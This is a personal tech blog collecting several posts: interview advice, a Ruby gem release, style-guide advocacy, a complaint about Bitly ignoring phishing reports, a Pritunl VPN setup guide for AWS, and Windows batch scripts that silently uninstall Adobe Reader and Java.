On Interviewing

Recently I made the decision to look at other opportunities and I completed a number of interview loops and many more phone screens and technical phone screens. I thought it might help others a bit to share some of the lessons I took away from what was more than 40 hours of technical interviewing. Due to NDAs there aren’t going to be any interview specifics here but some feedback and tips that I hope can be useful for both sides of the table.

As an interviewee-

  1. Have questions ready. Write them down if it will help them stick in your head. Now come up with more. Seriously. Do even more. Now come up with some you can ask every interviewer you meet. During one of the longer loops I completed every single person on the loop did great at leaving Q&A time. This meant they quickly burned through my specific questions about the company. I adapted to this by coming up with more questions that the interviewer could answer on a more personal level. Here’s a few of my favorites:
    • What is your favorite part of the role/team (if applicable) or company?
    • What is your least favorite part?
    • What is the biggest challenge the organization is facing today?
    • What can I do on my first day or in my first week to have a major impact for you (as my peer, manager, customer)?
    • Tell me (as much as you can) about how your team or org manages it’s technical debt.
  2. Bring copies of your resume. Even in this so-very-digital age of cloud-based HR and PDF resumes sometimes the person interviewing you hasn’t been given a copy or may not have looked at it yet. Your preparedness will pay off.
  3. Be polite and professional, of course, but don’t hold back being you. I had a great time chatting with one of my interviewers about technology we both found exciting even though it was a little off topic. It’s OK to talk about cases where your hobbies drove you to learn about something and you may find your interviewer shares your passion for motorcycles or video games. You may find that you end up spending a few minutes on that side topic but you’ll both leave the room smiling because you got to chat about something you really care about.
  4. Study. Do the tedious practice of refreshing yourself on algorithms you haven’t looked at in ages. Despite the fact that everyone in the room will know you’ll likely never need to worry about things like searching binary trees or sorting linked lists as a part of your work you will probably get asked anyway. Unfortunately that’s still common throughout the industry even though we all know it doesn’t really mean as much as we pretend it does. To that end:

 

As an interviewer-

  1. When it comes to the coding questions; have them solve something you’ve actually had to solve at work that can be finished in a reasonable time period.
    • Absolutely one of the best experiences of the loops I completed was a company that sent me a coding challenge to start with. They sent me a library and asked me to add functionality to it. This lets them see how I work with existing code as well as demonstrates my ability to read what’s there, understand it, and build on it. During the loop we actually did a code review of my submission and talked through the design. This was great! We were able to discuss the merits and weaknesses in the design I chose in context of future feature growth and refactoring. No learned-this-in-school algorithms. As someone who has learned to write software by doing it and not via 4 years of computer science classes this was a great experience and allowed me to show my skills and knowledge in a very real-world way.
    • Consider using code reviews or a paired programming or debugging session rather than writing out a method from scratch. Doing code reviews for each other and doing them well is an important skill and one often skipped. You may find out that the candidate has never done and may not even believe in code reviews.
  2. Have some code questions (and solutions) ready before things get started.
    • As the interviewer this isn’t your chance to show off to the candidate how clever you are or to push them until they’re lost. A well designed question should have a couple of workable solutions that you’ve already recorded in advance.
    • Adding arbitrary specifications as you go to make the question harder can make the experience more confusing and especially so if the specs end up describing something completely different by the time you’re done. One of my questions started as a simple counting exercise that quickly turned into a multi-parameter search instead. The last bit of added functionality was a pretty strong pivot from something similar to count the occurrence of a thing in a string.
  3. While scheduling sometimes makes things hard and tech companies can be the worst about randomization; please read the resume before getting into the room.
    • We’ve only got a short amount of time to talk and having you spend 5 of those minutes reading me the resume I wrote and sent in isn’t the best use of that time.
    • If you really can’t squeeze it in just ask me to tell you what I did. You’ll get more out of it and it’s much less awkward for me as the candidate.
  4. Try to be language agnostic even if your workplace isn’t.
    • Expecting a candidate to pick up Golang over the weekend before the interview is just unrealistic. Even if they mostly pull it off they won’t be comfortable or fluent.
    • If you know the candidate is strong in Java and Python but you happen to be a Go or Ruby shop try to find someone on the team that knows one of those languages to do the coding questions. This can help the candidate feel more comfortable and makes it easier for you to let them use their preferred language while still having someone that is familiar with it look it over.
  5. Focus on solutions and structure rather than memorization.
    • The candidate is going to be nervous. They’re going to blank on the exact right method or library name that does the thing they did that time that makes the problem you’ve asked easier. If it doesn’t compile or it would stack trace due to a missed character somewhere that’s something they’d find through their own local testing anyway. Pay more attention to their ability to solve the problem reasonably even if they have to pseudocode some pieces they can’t recall at the moment.

Project release: resque-state gem

I’m posting this late as the code has been available for a bit now but I’ve published my first Ruby Gem (fork) on Github; resque-state. It adds more features to the original gem (resque-status) including more interactive-like controls to allow you to run semi-interactive jobs via Resque. The biggest addition was adding pause and revert functionality.

This project came from something I built (and hope to eventually publish) that runs automated rolling deployments to AWS. What the pause functionality gave me was the ability to let a user do a one-box or canary ahead of a full roll as well as the ability to pause a job that might be having troubles. This lets an engineer launch a deployment to an Auto Scaling Group (ASG) and initially add just a single machine. Once that instance is healthy the job then pauses and waits for the engineer to give the deployment the green light to continue. The pause/unpause functionality became one of the critical features to enable safer production releases.

Just added was a revert feature. You could accomplish something similar with on_failure but I thought that might be overloading that functionality a bit. I believe these are two different cases. If a job fails you may not want to undo it because the failure may have been fatal for the job process but not something that actually needs reverted. Maybe there was a network blip the automation didn’t handle well or perhaps you’re able to course-correct without actually pulling back what was done. Revert gives you a separate path for cases where you specifically want to pull back what was done. This can be done from the paused state (for example; a deployment one-box that is no good) as well as just while the job is running.

PRs and constructive feedback are welcome. 🙂

Consistency matters; even when you disagree

No matter where you fit into any of the great developer debates (vim vs Emacs, tabs vs spaces, 80 vs 120 vs no column limit) the most critical point is consistency. Switching between tabs and spaces inside your own project would certainly prove annoying for others should you share the code even it won’t affect function. When you’re working on a team, though, or as part of a large organization; consistency has to exist not just in your project but across many.

Maybe you’re a tab person. Cool. Go nuts; at home. If your company prefers spaces the reality is that your preference doesn’t matter. Conforming to a shared norm is more important. When you have to share code with others the bottom line is that the consistency is bigger than your preference. This can even escape your own company should you end up open-sourcing your work for others to benefit from.

This is why I prefer to lean on community-driven style guides. I may not agree that Ruby should be written with an 80 character line limit but the community-driven Ruby Style Guide says otherwise and Rubocop defaults to that as well. Given that; it then makes sense that in any project that I plan on making public I should follow these norms as much as possible.

When it comes to Python we have PEP. The old Sun Java guide works but there’s a newer offering from Google that could be used. Older languages aren’t left out; even Perl has guidelines.

It’s hard to get consensus when opinions are strong and nobody’s preference is really wrong (unless they prefer tabs- then they’re wrong). Rather than infighting and company-specific styles that lead to Python that looks like Java and Perl that looks like, well, chaos we should be able to agree to disagree and stick to accepted solutions. I’m going to link a few below. Mostly these are the top or near-top hits on Google if you look for style guides for these languages. Google is the source of some but as the massive engineering powerhouse they are that makes sense.

Decide what to use, commit to move forward with it, and stop wasting time arguing over the right column to end the line at.


Ruby: https://github.com/bbatsov/ruby-style-guide
Python: https://www.python.org/dev/peps/
Java: https://google.github.io/styleguide/javaguide.html
Scala: http://docs.scala-lang.org/style/
Golang: https://github.com/golang/go/wiki/CodeReviewComments
Perl: http://perldoc.perl.org/perlstyle.html
Shell: https://google.github.io/styleguide/shell.xml
R: https://google.github.io/styleguide/Rguide.xml
Haskell: https://wiki.haskell.org/Programming_guidelines
Javascript: https://github.com/airbnb/javascript
C#: https://msdn.microsoft.com/en-us/library/67ef8sbd.aspx

Automation is wonderful. People… not so much.

I’ve been working on automating a previously manual process riddled with potential human error and recently I’ve found myself referencing this article from Doug Seven as the poster child for how things can go wrong quickly when the process isn’t very good or your understanding of the system isn’t complete.

Thorough change management practices and peer-reviewed automation can be something that not only saves your time but sometimes your job too. If you can automate it and remove potential human error that’s nearly always the right path. Software can still fail but you can test software and do peer reviews. It’s a little harder to peer review every decision and click someone has to deal with when deploying something into production.

If you haven’t read this before… this is a level of failure you don’t get to see too often.

Knightmare: A DevOps Cautionary Tale

It’s time to say goodbye to Bit.ly

Don’t get this backwards; they’re still very much alive… but they are dead to me. Today marked the second time in the last few months I’ve emailed them to notify them that their service was being utilized to facilitate a phishing campaign. Both times now they have simply ignored me.

No response.

Nothing.

I notified them on April 5th of one of these links. They never replied. That link still exists today though my emails to the hosting provider and the site owner seemed to have landed on someone’s listening ears as their compromised Drupal install was fixed and updated soon after. The phishing link just takes you to the previously-compromised site’s homepage now but it should have been taken down by Bitly.

Today? Well I got a nice auto-emailer this time at least saying thanks for the email but the link continues to get clicked on by unsuspecting users. At the time of writing more than 2,200 clicks have been registered.

They have nothing listed on their knowledge base about phishing though spam is mentioned. Their support auto-emailer lets you happily know it may take two business days for them to get back to you. More than enough time for a phisher to gather tens of thousands of people’s information.

I’ve once again emailed the hosting provider and the domain registrar. No responses from anyone yet but I happen to use the same registrar for a couple of my domains so I’m hoping to get… something… back.

The phishing site is of lower quality this time, at least. Hopefully some people notice the ‘Finish’ button is instead labeled ‘Finnish’ but if they actually clicked on some random Bitly link sent to them via SMS… chances are low.

Phishing site

Hopefully the hosting provider takes notice.

To my original point; it’s time to let Bitly die on the vine if they can’t even acknowledge their part in the theft of user’s personal information and do something to thwart the thieves taking advantage of their service. They have been given the opportunity to stop a phisher in their tracks and they chose to look the other way.

Just stop trusting Bitly links. If the RickRolls weren’t enough to convince you; this should be.

Bitfail logo

Update 23 June 2016: The only company involved that has responded was the registrar who did so not long after the hosted site stopped responding. Better than silence.

Pritunl for AWS VPC with Replicated Servers

After doing some research on VPN alternatives to using AWS’ provided VPN options I recently settled on doing a test with the software Pritunl. The software is an open-source GUI frontend for OpenVPN. It does a nice job of simplifying the management and configuration of the VPN endpoints and, when you pay for Pritunl Enterprise, also includes some other nifty features.

There are several features that are unlocked by paying for the Enterprise license and one of those is Replicated Servers. Replicated Servers gives you a unified backend database (using MongoDB) that stores configuration and user information. This lets you run multiple Pritunl hosts for your users to provide extra endpoints in the event of a failure.

The setup is pretty simple but since I didn’t see any articles or posts covering the setup so I thought it would be good to go ahead and put something together. In this case I’ll be using AWS but the principals are the same no matter where the hosts are.

For this example we’ll be using Ubuntu Server to keep things more provider-agnostic. It’s possible to use Arch Linux or Amazon Linux instead if you prefer that.

First, of course, you’ll need to be logged into the AWS console or have the CLI set up on your machine.

Go ahead and allocate 3 Elastic IPs in your VPC. We’ll use two for the internet-facing hosts and the last will be a way to provide a static IP for the database host. You can use other methods to make the IP stick but this one is the simplest and it allows the host to update from the web.

Set up two EC2 security groups:

  • VPN:
    • TCP/22 open to your IP for SSH
    • TCP/9700 open to your IP for access to the web UI (you may want to open this to /0 later)
    • UDP 25000 open to 0.0.0.0/0 for the VPN tunnel
  • VPN DB:
    • TCP/22 open to your IP for SSH (you may want to remove this or limit it later on)
    • TCP 27017 open to the VPN SG for the database connection

We’ll start with the database host first. Go ahead and start an instance of the size that suits your deployment and use Ubuntu Server 14.04. You’ll probably want to put this in your private subnet if you have one. Make sure you have set the security group up as above. Assign one of the EIPs to the host and go ahead and connect over SSH.

Once logged in you’ll want to execute the following commands:

# Update the host
sudo apt-get update
sudo apt-get -y upgrade

# Add the MongoDB repo key to apt
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10

# Add MongoDB repo to apt sources
echo "deb http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list

# Update apt and install MongoDB
sudo apt-get update
sudo apt-get install -y mongodb-org

# Tell MongoDB to listen for external connections
sudo nano /etc/mongod.conf
# Comment out the line "bind_ip = 127.0.0.1"
# Start MongoDB
sudo service mongod start

Woohoo! Our database lives!

Next let’s start the Pritunl VPN hosts. You can start as many or as few as you need and with the size that suits best but again use Ubuntu Server 14.04. These should be in your public subnet. Assign EIPs for each. Then go ahead and connect over SSH.

For each machine do the following:

# Update the host
sudo apt-get update
sudo apt-get -y upgrade

# Add the Pritunl apt key
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com --recv CF8E292A

# Add the Pritunl repo to apt
echo "deb http://repo.pritunl.com/stable/apt trusty main" | sudo tee /etc/apt/sources.list.d/pritunl.list

# Update apt and install Pritunl
sudo apt-get update
sudo apt-get -y install pritunl

# Start Pritunl
sudo service pritunl start

You’ll then need to open your browser to https://<host IP>:9700/ and fill in the MongoDB host information. On the first host you’ll then log in with the default user/password of pritunl/pritunl, change the login, and then enter your Enterprise license key. After that log in to each of the rest of the hosts and enter the MongoDB host information.

Now with that finished we have replicated Pritunl configured. Not including bandwidth or the discounts of reserved instances it can be about $90/month for this setup using two t2.micro instances for the VPC endpoints and a t2.small for the MongoDB host. So far in testing I’ve successfully pushed greater than 25mbps through a connection on the t2.micro host without any fuss.

The next step involves a little planning. Consider what parts of the network different user groups will need to access. If everyone will have access to everything in your VPC this is easy but otherwise you’ll need to plan for which subnets people need access to. This could mean splitting things up by teams or maybe just production access accounts versus nonproduction access.

Go to the Users tab. You’ll want to create one or more Organizations for users to be grouped into. For each different group that needs access to different subnets you’ll want different organizations. After that go ahead and put the users in their correct organizations. With Pritunl Enterprise you can use SSO to handle part of this but that’s something to cover another time.

At this point you can set up your first Pritunl sever. In the web interface one one of the hosts go to the Servers tab. There click on the Add Server button and fill out the form. For the UDP port enter 25000 (that we added to the EC2 SG earlier). Make sure to click on the Advanced button and enter the number of replicated hosts you’ll use for the connections. You’ll also want to change the server mode to Local Traffic Only and specify what subnets the VPN server should give access to. Once satisfied with the config click Add and then watch the UI. The server will generate it’s DH parameters in the background. If you’ve selected parameters more complex than the default 1536 it’s going to take a little bit to finish. I’d recommend you use at least 2048.

You can start making additional servers for each set of subnets people might need to access. Associate the organizations to each based on their needs.

Once that’s all done and all of the DH parameters have been generated you can start the servers. After they’ve started you can download the credentials for your user and confirm that the VPN responds as it should.

You should now be all set; distribute the credentials needed to all of your users and enjoy.

Update:
Below is the script I run on the Mongo box to back it up each night and drop the results into S3.

#!/bin/sh

TODAY=`date +%Y-%m-%d`
echo "Backing up MongoDB database for $TODAY..."
mongodump --out /backup/pritunldb-$TODAY
echo "Backup complete. Compressing output..."
cd /backup/
tar -zcf pritunldb-$TODAY.tar.gz pritunldb-$TODAY/
echo "Compression complete. Copying to S3..."
/usr/local/bin/aws s3 cp pritunldb-`echo $TODAY`.tar.gz s3:///pritunl/db/
echo "S3 copy complete. Cleaning up..."
rm -rf pritunldb-$TODAY/
find /backup/* -mtime +21 -exec rm {} \;
echo "Cleanup complete. Backup complete."

Batch Script: Purge Reader

Going along with the batch theme this one is designed to take Reader / Acrobat off of the target system.  If I missed any GUIDs or you have any suggestions please feel free to email or comment here

Thanks!
-Nathan V

@echo off
GOTO START
#################################################
# Purge Reader Script by:                       #
#      Nathan V                                 #
#      Cyber Security Analyst                   #
#      http://nathanv.com                       #
#                                               #
# For assistance and new versions contact       #
#      nathan.v@gmail.com                       #
#                                               #
# This file updated:                30 SEP 2012 #
#                                               #
# Purge Java (c) 2012 Nathan V  License: GPLv3  #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################

:START
msiexec /x {AC76BA86-7AD7-1033-7B44-000000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A00000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-0000-0000-0000-6028747ADE01} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-0000-7EC8-7489-000000000603} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-0000-7EC8-7489-000000000604} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-0000-7EC8-7489-000000000605} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-0000-7EC8-7489-000000000606} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A70500000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A70700000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A70800000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A70900000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A71000000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-5464-3428-800000000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-5464-3428-800000000004} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A80000000002} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A81000000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A81100000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A81200000003} /qn /log c:\temp\purgereader.log
msiexec /x {6846389C-BAC0-4374-808E-B120F86AF5D7} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A81300000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A82000000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A83000000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-5464-3428-900000000004} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A81000000003} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A92000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A93000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-A94000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-5464-3428-A00000000004} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-AA0000000001} /qn /log c:\temp\purgereader.log
msiexec /x {AC76BA86-7AD7-1033-7B44-AA1000000001} /qn /log c:\temp\purgereader.log

More Information:

Batch Script: Purge Java

Due to the recent disclosures and most especially yesterday’s announcement of Java vulnerabilities I thought I should release my Java Purge Script.  You can read more information about the most recent events in the links at the bottom in the More Information section.

This script is part of a suite I’ll be releasing soon that I use for pushing patches and batches to remote computers that allows you to stage the files in advance (first runtime) and then execute them during your patch window using psexec (second runtime) to give you better control on when and how the patches are executed.  No ETA on that one yet as it’s a living file still.

For this script you can run it locally or push it with a policy to run on target systems.  It should remove all versions of JRE and JDK from the target system.

As always;  If you have any suggestions for improvements please let me know.

@echo off
GOTO START
#################################################
# Purge Java Script by:                         #
#      Nathan V                                 #
#      Cyber Security Analyst                   #
#      http://nathanv.com                       #
#                                               #
# For assistance and new versions contact       #
#      nathan.v@gmail.com                       #
#                                               #
# This file updated:                26 SEP 2012 #
#                                               #
# Purge Java (c) 2012 Nathan V  License: GPLv3  #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################

:START
net stop JavaQuickStarterService
taskkill /f /im jqs.exe /im jucheck.exe /im javaw.exe

msiexec /x {1111706F-666A-4037-7777-202328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {1111706F-666A-4037-7777-203328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {1111706F-666A-4037-7777-210328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {1111706F-666A-4037-7777-211328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {1666FA7C-CB5F-11D6-A78C-00B0D079AF64} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {2222706F-666A-4037-7777-202328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {2222706F-666A-4037-7777-203328764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83214204FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215002FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215004FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215005FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215006FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215007FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215010FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215011FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83215012FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216000FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216010FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216011FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216012FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216013FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216014FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216015FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216016F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216016FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216017F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216017FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216018FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216019F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216019FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216020F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216020FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216022F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216022FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216023F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216023FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216024F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216024FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216025F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216025FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216026F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216026FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216027F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216027FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216028F0} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216028FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216029FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216030FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216031FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216032FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216033FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216034FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216035FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83216050FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217000FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217001FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217002FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217003FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217004FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217005FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217006FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {26A24AE4-039D-4CA4-87B4-2F83217007FF} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150000} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150010} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150020} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150030} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150040} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150050} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150060} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150070} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150080} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150090} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150100} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150110} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150120} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150130} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150140} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150210} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0150220} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160000} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160010} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160020} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160030} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160031} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160040} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160050} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160060} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160070} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
